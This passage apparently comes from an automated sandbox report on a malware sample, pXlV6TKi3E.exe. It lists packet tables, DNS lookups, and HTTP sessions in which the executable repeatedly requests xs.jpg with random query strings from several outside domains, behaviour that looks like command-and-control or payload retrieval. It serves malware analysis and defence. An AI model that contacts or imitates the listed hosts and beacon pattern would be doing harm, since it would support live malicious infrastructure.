                                            Apr 11, 2023 14:08:23.907376051 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:24.104130030 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:24.710186958 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:24.906940937 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:25.413435936 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:25.610300064 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:25.610603094 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:25.807411909 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:26.413454056 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:26.610099077 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:27.210427999 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:27.407133102 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:27.407407999 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:27.604054928 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:28.210468054 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:28.407228947 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:28.913660049 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:29.110368013 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:29.110663891 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:29.307460070 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:29.913753986 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:30.110471010 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:08:30.710728884 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:08:30.907471895 CEST556649702154.23.184.71192.168.2.3

                                            UDP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            Apr 11, 2023 14:06:09.675582886 CEST589229832192.168.2.385.17.167.196
                                            Apr 11, 2023 14:06:12.979168892 CEST589236018192.168.2.388.248.141.201
                                            Apr 11, 2023 14:06:12.992400885 CEST589248590192.168.2.3201.24.159.221
                                            Apr 11, 2023 14:06:15.249708891 CEST589259674192.168.2.385.105.121.157
                                            Apr 11, 2023 14:06:32.115024090 CEST589266021192.168.2.381.181.64.5
                                            Apr 11, 2023 14:06:32.115308046 CEST589274599192.168.2.3173.11.157.38
                                            Apr 11, 2023 14:06:38.694001913 CEST589288162192.168.2.372.218.137.25
                                            Apr 11, 2023 14:07:07.337179899 CEST589297453192.168.2.389.230.213.141
                                            Apr 11, 2023 14:07:07.340907097 CEST589307204192.168.2.389.120.233.17
                                            Apr 11, 2023 14:07:07.348879099 CEST589319943192.168.2.380.54.102.172
                                            Apr 11, 2023 14:07:12.363073111 CEST589327843192.168.2.3211.106.155.59
                                            Apr 11, 2023 14:07:14.149763107 CEST589338183192.168.2.3220.121.134.142
                                            Apr 11, 2023 14:07:19.073472023 CEST589346545192.168.2.377.77.35.67
                                            Apr 11, 2023 14:07:19.085561037 CEST589358590192.168.2.381.181.112.247
                                            Apr 11, 2023 14:07:19.770761967 CEST589366738192.168.2.371.226.96.253
                                            Apr 11, 2023 14:07:22.718784094 CEST589377023192.168.2.376.104.215.8
                                            Apr 11, 2023 14:07:23.431382895 CEST589385750192.168.2.378.96.105.81
                                            Apr 11, 2023 14:07:24.316384077 CEST589397269192.168.2.3129.74.157.231
                                            Apr 11, 2023 14:07:24.698612928 CEST6270453192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:24.719413996 CEST53627048.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:26.202836990 CEST4997753192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:26.222974062 CEST53499778.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:27.572025061 CEST499785871192.168.2.387.121.209.81
                                            Apr 11, 2023 14:07:29.195854902 CEST499795925192.168.2.389.46.234.189
                                            Apr 11, 2023 14:07:30.391663074 CEST5784053192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:30.420264006 CEST53578408.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:31.029119015 CEST5799053192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:31.057940006 CEST53579908.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:31.497083902 CEST5238753192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:31.609977007 CEST53523878.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:32.406141996 CEST5692453192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:32.435513973 CEST53569248.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:32.885077000 CEST6062553192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:32.913912058 CEST53606258.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:33.185281992 CEST4930253192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:33.218803883 CEST53493028.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:36.126028061 CEST493037455192.168.2.362.90.21.54
                                            Apr 11, 2023 14:07:38.747394085 CEST493049420192.168.2.381.180.234.176
                                            Apr 11, 2023 14:07:38.883240938 CEST493058079192.168.2.3212.12.166.36
                                            Apr 11, 2023 14:07:39.330214977 CEST493067023192.168.2.384.114.219.90
                                            Apr 11, 2023 14:07:40.089407921 CEST493076874192.168.2.3118.137.42.114
                                            Apr 11, 2023 14:07:40.449052095 CEST5397553192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:40.469779968 CEST53539758.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:40.642853975 CEST539767269192.168.2.371.95.133.164
                                            Apr 11, 2023 14:07:42.629050016 CEST539778583192.168.2.385.14.86.35
                                            Apr 11, 2023 14:07:42.986458063 CEST5113953192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:43.007312059 CEST53511398.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:44.412892103 CEST511409674192.168.2.3164.125.131.62
                                            Apr 11, 2023 14:07:44.515305042 CEST5295553192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:44.544235945 CEST53529558.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:47.692939043 CEST6058253192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:47.714597940 CEST53605828.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:49.668427944 CEST5713453192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:49.766820908 CEST53571348.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:51.295857906 CEST571357601192.168.2.369.47.135.203
                                            Apr 11, 2023 14:07:51.604939938 CEST6205053192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:51.633424997 CEST53620508.8.8.8192.168.2.3
                                            Apr 11, 2023 14:07:52.949783087 CEST5604253192.168.2.38.8.8.8
                                            Apr 11, 2023 14:07:53.071855068 CEST53560428.8.8.8192.168.2.3

                                            DNS Queries

                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                            Apr 11, 2023 14:07:24.698612928 CEST192.168.2.38.8.8.80xe18cStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:26.202836990 CEST192.168.2.38.8.8.80xb41cStandard query (0)www.careerdesk.orgA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:30.391663074 CEST192.168.2.38.8.8.80x3ba4Standard query (0)arthur.niria.bizA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:31.029119015 CEST192.168.2.38.8.8.80xded2Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:31.497083902 CEST192.168.2.38.8.8.80x9dfeStandard query (0)apple-pie.inA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:32.406141996 CEST192.168.2.38.8.8.80x490fStandard query (0)ahmediye.netA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:32.885077000 CEST192.168.2.38.8.8.80xd53dStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:33.185281992 CEST192.168.2.38.8.8.80xc00Standard query (0)ampyazilim.com.trA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:40.449052095 CEST192.168.2.38.8.8.80xc792Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:42.986458063 CEST192.168.2.38.8.8.80xde86Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:44.515305042 CEST192.168.2.38.8.8.80xdccaStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:47.692939043 CEST192.168.2.38.8.8.80xe279Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:49.668427944 CEST192.168.2.38.8.8.80x37efStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:51.604939938 CEST192.168.2.38.8.8.80xf732Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:52.949783087 CEST192.168.2.38.8.8.80x8ec8Standard query (0)althawry.orgA (IP address)IN (0x0001)false

                                            DNS Answers

                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                            Apr 11, 2023 14:05:44.913638115 CEST8.8.8.8192.168.2.30x4ab3No error (0)windowsupdatebg.s.llnwi.net95.140.230.192A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:05:44.913638115 CEST8.8.8.8192.168.2.30x4ab3No error (0)windowsupdatebg.s.llnwi.net178.79.225.128A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:05:45.166894913 CEST8.8.8.8192.168.2.30xb37No error (0)windowsupdatebg.s.llnwi.net95.140.230.192A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:05:45.166894913 CEST8.8.8.8192.168.2.30xb37No error (0)windowsupdatebg.s.llnwi.net178.79.225.128A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:24.719413996 CEST8.8.8.8192.168.2.30xe18cName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:26.222974062 CEST8.8.8.8192.168.2.30xb41cNo error (0)www.careerdesk.org206.191.152.58A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:30.420264006 CEST8.8.8.8192.168.2.30x3ba4No error (0)arthur.niria.biz63.251.106.25A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:31.057940006 CEST8.8.8.8192.168.2.30xded2No error (0)amsamex.com206.189.61.126A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:31.609977007 CEST8.8.8.8192.168.2.30x9dfeNo error (0)apple-pie.in63.251.106.25A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:32.435513973 CEST8.8.8.8192.168.2.30x490fNo error (0)ahmediye.net78.46.2.155A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:32.913912058 CEST8.8.8.8192.168.2.30xd53dName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:33.218803883 CEST8.8.8.8192.168.2.30xc00No error (0)ampyazilim.com.tr37.230.104.89A (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:40.469779968 CEST8.8.8.8192.168.2.30xc792Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:43.007312059 CEST8.8.8.8192.168.2.30xde86Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:44.544235945 CEST8.8.8.8192.168.2.30xdccaName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:47.714597940 CEST8.8.8.8192.168.2.30xe279Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:49.766820908 CEST8.8.8.8192.168.2.30x37efName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:51.633424997 CEST8.8.8.8192.168.2.30xf732Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                            Apr 11, 2023 14:07:53.071855068 CEST8.8.8.8192.168.2.30x8ec8Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false

                                            HTTP Request Dependency Graph

                                            • ampyazilim.com.tr
                                            • www.careerdesk.org
                                            • arthur.niria.biz
                                            • amsamex.com
                                            • apple-pie.in
                                            • ahmediye.net

                                            HTTP Packets

                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            0192.168.2.34970537.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            1192.168.2.34970637.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            10192.168.2.349700206.189.61.12680C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:31.152410984 CEST153OUTGET /xs.jpg?10e1c12=88509530 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: amsamex.com
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:31.191823959 CEST154INHTTP/1.1 200 OK
                                            Connection: close
                                            Set-Cookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b; Expires=Tue, 09 Apr 2030 12:07:31 GMT
                                            Date: Tue, 11 Apr 2023 12:07:31 GMT
                                            Content-Length: 0
                                            Content-Type: text/plain; charset=utf-8


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            11192.168.2.34970163.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:31.836725950 CEST154OUTGET /images/xs.jpg?1150888=163400904 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: apple-pie.in
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:32.006592035 CEST155INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:31 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214851|1681214851|0|1|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: snkz=84.17.52.42; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                            Data Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            12192.168.2.34970378.46.2.15580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:32.470702887 CEST156OUTGET /xs.jpg?128b779=175010625 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ahmediye.net
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:32.492970943 CEST156INHTTP/1.1 404 Not Found
                                            Date: Tue, 11 Apr 2023 12:07:32 GMT
                                            Server: Apache
                                            Content-Length: 258
                                            Content-Type: text/html; charset=iso-8859-1
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            13192.168.2.34970437.230.104.8980C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:33.290904999 CEST157OUTGET /images/xs2.jpg?142a6b1=211452650 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ampyazilim.com.tr
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:33.338665962 CEST159INHTTP/1.1 302 Found
                                            Connection: Keep-Alive
                                            Keep-Alive: timeout=5, max=100
                                            content-type: text/html
                                            content-length: 683
                                            date: Tue, 11 Apr 2023 12:07:33 GMT
                                            cache-control: no-cache, no-store, must-revalidate, max-age=0
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 32 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            14192.168.2.349707206.191.152.5880C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:40.848947048 CEST170OUTGET /images/xs.jpg?1b3ca31=171359526 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: www.careerdesk.org
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214849|1681214849|0|1|0
                                            Apr 11, 2023 14:07:41.091888905 CEST170INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:40 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214860|1681214849|5|2|0; path=/; domain=.careerdesk.org; Expires=Thu,
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:41.091933966 CEST171INData Raw: 31 35 20 41 70 72 20 32 30 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            15192.168.2.34970863.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:41.388921022 CEST171OUTGET /xs.jpg?21973d4=70444968 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: arthur.niria.biz
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214850|1681214850|0|1|0
                                            Apr 11, 2023 14:07:41.559027910 CEST172INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:41 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214861|1681214850|5|2|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:41.559046984 CEST172INData Raw: 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 27 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            16192.168.2.349709206.189.61.12680C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:42.027481079 CEST173OUTGET /xs.jpg?25d8de9=158742436 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: amsamex.com
                                            Cache-Control: no-cache
                                            Cookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
                                            Apr 11, 2023 14:07:42.057286024 CEST173INHTTP/1.1 200 OK
                                            Connection: close
                                            Date: Tue, 11 Apr 2023 12:07:42 GMT
                                            Content-Length: 0
                                            Content-Type: text/plain; charset=utf-8


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            17192.168.2.34971063.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:42.394782066 CEST174OUTGET /images/xs.jpg?2713c6c=81950936 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: apple-pie.in
                                            Cache-Control: no-cache
                                            Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214851|1681214851|0|1|0; snkz=84.17.52.42
                                            Apr 11, 2023 14:07:42.564238071 CEST175INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:42 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214862|1681214851|5|2|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                            Data Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            18192.168.2.34971178.46.2.15580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:42.660249949 CEST176OUTGET /xs.jpg?29383b1=259331622 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ahmediye.net
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:42.681406975 CEST176INHTTP/1.1 404 Not Found
                                            Date: Tue, 11 Apr 2023 12:07:42 GMT
                                            Server: Apache
                                            Content-Length: 258
                                            Content-Type: text/html; charset=iso-8859-1
